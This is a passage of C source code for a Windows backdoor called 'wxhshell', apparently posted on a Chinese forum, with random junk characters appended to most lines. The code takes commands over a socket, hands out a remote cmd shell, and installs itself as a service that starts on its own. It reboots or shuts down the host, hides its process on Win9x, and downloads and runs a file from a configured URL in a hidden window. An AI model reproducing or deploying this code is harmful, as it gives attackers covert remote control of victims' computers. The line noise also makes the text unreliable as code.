  else { [t^%d9@t  
jaThS!>v  
    switch(cmd[0]) { 0A ~f ^  
   4z|Yfvq  
  // 帮助 DF#WQ8?$]  
  case '?': { RmN\;G?}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); B7ys`eiB5C  
    break; S4O:?^28  
  } BJ/#V)  
  // 安装 N_!Zn"J  
  case 'i': { G[yN*C  
    if(Install()) I^ A01\p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~?A,GalS  
    else qpc2;3*7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZoC?9=k  
    break; :kI x?cc  
    } Z@iMG  
  // 卸载 "=!QSb  
  case 'r': { Ah2XwFg?  
    if(Uninstall()) -p !KsU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e;}5~dSi  
    else H "?-&>V-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Hp> J,m(*  
    break; FkE CY  
    } +XRv iHA`  
  // 显示 wxhshell 所在路径 e]X9"sd0=  
  case 'p': { -+I! (?  
    char svExeFile[MAX_PATH]; z8"=W,2  
    strcpy(svExeFile,"\n\r"); 8UL:C?eY  
      strcat(svExeFile,ExeFile); lB\j>.c  
        send(wsh,svExeFile,strlen(svExeFile),0); "AVj]jR  
    break; .r*b+rc;]  
    } ;%z0iZmg  
  // 重启 B 9Mwj:)}  
  case 'b': { WE~3(rs#X#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {}^ELw  
    if(Boot(REBOOT)) !V-SV`+X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R +JI ?/H  
    else { b~1p.J4  
    closesocket(wsh); m<f{7]fi5  
    ExitThread(0); z=Vvb  
    } =<_5gR  
    break; o5$K^2^g  
    } @ Q1jH~t  
  // 关机 h'fD3Gr&  
  case 'd': { O.}gG6u5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); tr/dd&(Y1  
    if(Boot(SHUTDOWN)) O`0$pn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I !<v$  
    else { CGe'z  
    closesocket(wsh); Y-c~"#  
    ExitThread(0); KE&}*Nf[  
    } "=n8PNV/ c  
    break; ,"VQ 0Z1  
    } .M{[J]H`t  
  // 获取shell 3ElpS^ 2W  
  case 's': { U?lu@5 ^Z  
    CmdShell(wsh); G([vy#p  
    closesocket(wsh); &"h!SkX/  
    ExitThread(0); _Lb& 2 PAG  
    break; -d3y!| \>a  
  } )IhY&?jk?  
  // 退出 ` j<tI6[e  
  case 'x': { ~+C#c,Nw  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); dJ^`9W  
    CloseIt(wsh); ;2|H6IN"  
    break; ncdr/(`  
    } V$%K=[  
  // 离开 bC{8yV=)  
  case 'q': { bN&da [K  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ksaC[G;}:  
    closesocket(wsh); F]*-i 55S  
    WSACleanup(); w$ {  
    exit(1); k-e@G'  
    break; 4"{wga~%/  
        } yMkd|1  
  } m6cW  
  } Z :+#3.4$3  
swFOh5z  
  // 提示信息 k#) .E X  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ( `+Z'Y  
} `C?OAR44  
  } bVHi3=0{  
wS0bk<(  
  return; F8Wq&X#r  
} BD-=y  
y}HC\A77uD  
// shell模块句柄 6S[D"Q94  
int CmdShell(SOCKET sock) q*nz4QTOE  
{ r![JPhei  
STARTUPINFO si; RA I&;"  
ZeroMemory(&si,sizeof(si)); G9inNz*Cx  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Sg>0P*K@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )>5k'1  
PROCESS_INFORMATION ProcessInfo; 34kd|!e,  
char cmdline[]="cmd"; %:?QE ;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Jk`)`94 I  
  return 0; 1T,PC?vr{  
} A]%t0>EL<  
Q5n : f+  
// 自身启动模式 /+`<X%^U  
int StartFromService(void) >wO$Vu `t  
{ b|o!&9Yyr  
typedef struct PZRn6Tc  
{ S!W/K!wf  
  DWORD ExitStatus; `lezJ (Xm  
  DWORD PebBaseAddress; F(~_L.  
  DWORD AffinityMask; xevP2pYG:  
  DWORD BasePriority; )2Ru!l#  
  ULONG UniqueProcessId; jZT :-w  
  ULONG InheritedFromUniqueProcessId; Y*cJ4hQ  
}   PROCESS_BASIC_INFORMATION; -Dxhq& }Y  
poYAiq_3T  
PROCNTQSIP NtQueryInformationProcess; *3`oU\r  
UW[{d/.wC  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /:{_|P\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7Ljj#!`lUp  
)QCM2  
  HANDLE             hProcess; i(yAmo9h  
  PROCESS_BASIC_INFORMATION pbi; ,,gLrV k  
_ c ]3nzIr  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); fb.\V]K  
  if(NULL == hInst ) return 0; ^h6$> n5  
.n& Cq+U;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =ch Af=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); tK|9qs<%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); TF0-?vBWh  
"G9'm  
  if (!NtQueryInformationProcess) return 0; Z\=04[  
yaRcBT?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }{wTlR.]  
  if(!hProcess) return 0; q bZ,K@0  
l P$r   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; A?IZ( Zx(`  
FfxX)p1t  
  CloseHandle(hProcess); 1 73<x){  
v=.z|QD^1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Bq~hV;9nf  
if(hProcess==NULL) return 0; 8S1P&+iKs  
)0U3w#,JQ  
HMODULE hMod; w~$c= JO#  
char procName[255]; Uc&6=5~Ys\  
unsigned long cbNeeded; d]7|v r]  
XnE %$NJ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); h-La'}>?  
xdL/0 N3  
  CloseHandle(hProcess); v dH+>l  
6/[Z178m  
if(strstr(procName,"services")) return 1; // 以服务启动 'z-;*!A}j  
HCJ8@nki  
  return 0; // 注册表启动 )pjjW"C+  
} .lvI8Jf~X  
bvip bf[m<  
// 主模块 !_U37Uj<m  
int StartWxhshell(LPSTR lpCmdLine) oI_oz0nHk  
{ Dh&:-  
  SOCKET wsl; dU ,)TKQ  
BOOL val=TRUE; 2#AeN6\@  
  int port=0; egI{!bZg'\  
  struct sockaddr_in door; X(GmiH /E  
=de<WoKnu2  
  if(wscfg.ws_autoins) Install(); ` URSv,(  
aFRTNu/r  
port=atoi(lpCmdLine); k-WHHoU>o  
83KfM!w  
if(port<=0) port=wscfg.ws_port; QFW0KD`5  
t1e4H=d>  
  WSADATA data; &GdL 9!hH  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Jo{ zy  
`E3:;|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   y$IaXr5L  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^uyNv-'F  
  door.sin_family = AF_INET; 8W~lU~-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {q&@nm40  
  door.sin_port = htons(port); klgv{_b  
8To7c  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ==]Z \jk  
closesocket(wsl); G*i.a*9<)  
return 1; XVQL.A7  
} }FPM-M3y  
O6y @G .+  
  if(listen(wsl,2) == INVALID_SOCKET) { Ln ~4mN^  
closesocket(wsl); JAc@S20v\  
return 1; <fNGhmL  
} :3*`IB !  
  Wxhshell(wsl); z*6$&sS\>  
  WSACleanup(); 9c#lLKrzG  
`$J'UXtGc  
return 0; |vv]Z(_  
fO*)LPen.z  
} Q>kiVvc  
5pO]vBT  
// 以NT服务方式启动 ~6p5H}'H1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xb%/sz(4  
{ ,# ]+HS^B  
DWORD   status = 0; T3=(`  
  DWORD   specificError = 0xfffffff; p` $fTgm  
1{^CfamF  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,1,&b_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +<&E3Or  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; w{3ycR  
  serviceStatus.dwWin32ExitCode     = 0; +|6`E3j%  
  serviceStatus.dwServiceSpecificExitCode = 0; V]Sgx00;  
  serviceStatus.dwCheckPoint       = 0; T-^0:@5o9  
  serviceStatus.dwWaitHint       = 0; '}_=kp'X  
R6 ;jY/*#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ddb-@YD&+0  
  if (hServiceStatusHandle==0) return; mKM,kY  
/^Y[*5  
status = GetLastError(); >zQNHSi  
  if (status!=NO_ERROR) 2SYKe$e  
{ sa G8g  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?b56AE  
    serviceStatus.dwCheckPoint       = 0; -OWZ6#v(  
    serviceStatus.dwWaitHint       = 0; {#N%Bq}  
    serviceStatus.dwWin32ExitCode     = status; guU=NQZ  
    serviceStatus.dwServiceSpecificExitCode = specificError; M_Bu,<q^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); sZKEUSFD #  
    return; [,rn3CA  
  } })P O7:  
:<H8'4>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; e9 *lixh  
  serviceStatus.dwCheckPoint       = 0; s"WBw'_<<  
  serviceStatus.dwWaitHint       = 0; U9 bWU'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +Juh:1H  
} \9w~pO  
Ps3~{zH`  
// 处理NT服务事件,比如:启动、停止 tF^g<)S;t  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >k;p.Pay%  
{ P3!Atnv2  
switch(fdwControl) xz8G}Ku  
{ ALXTR%f  
case SERVICE_CONTROL_STOP: A @2Bs 5F  
  serviceStatus.dwWin32ExitCode = 0; ;}K62LSR  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; P\AqpQv  
  serviceStatus.dwCheckPoint   = 0; 6WeM rWx  
  serviceStatus.dwWaitHint     = 0; )S*1C@  
  { x#r<,uNn,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {~'H  
  } '#q4Bc1  
  return; /P:EWUf'  
case SERVICE_CONTROL_PAUSE: 9 I{/zKq  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; u%B&WwHG  
  break; UFw](%=&M  
case SERVICE_CONTROL_CONTINUE: Juu+vMn1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~x#vZ=]8  
  break; e)b%`ntF  
case SERVICE_CONTROL_INTERROGATE: oL-2qtv  
  break; 9->q|E4  
}; "%@v++4y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X#`dWNrN  
} "VTF}#Uo  
4MLH+/e  
// 标准应用程序主函数 <#*.}w~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ! %Ny0JkO  
{ ~*-qX$gr  
S-c ^eLzQ  
// 获取操作系统版本 =wrP:wYF  
OsIsNt=GetOsVer(); :c=.D;,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -[heV|$;  
?\y%]1  
  // 从命令行安装 5jZiJw(  
  if(strpbrk(lpCmdLine,"iI")) Install(); J'Sm0  
:m ZYS4L~  
  // 下载执行文件 `]<`$71w  
if(wscfg.ws_downexe) { ].mqxf  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [Y/:@t"2y  
  WinExec(wscfg.ws_filenam,SW_HIDE); *eb-rhCVn  
} eV2mMSY  
=w%Oa<  
if(!OsIsNt) { ej^3Y Nh&  
// 如果时win9x,隐藏进程并且设置为注册表启动 e fO jTA%  
HideProc(); eB]R3j{  
StartWxhshell(lpCmdLine);  rLv;Y  
} Ia4)uV8  
else #fDs[  
  if(StartFromService()) @ D[`Oj)  
  // 以服务方式启动 /X#z*GX  
  StartServiceCtrlDispatcher(DispatchTable); N$#\Xdo  
else G;1?<3   
  // 普通方式启动 7x k|+!  
  StartWxhshell(lpCmdLine); "pvH0"Q*  
{_>em*Vb  
return 0; E=w3=\JP  
}
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只看该作者 1 发表于: 2006-10-10
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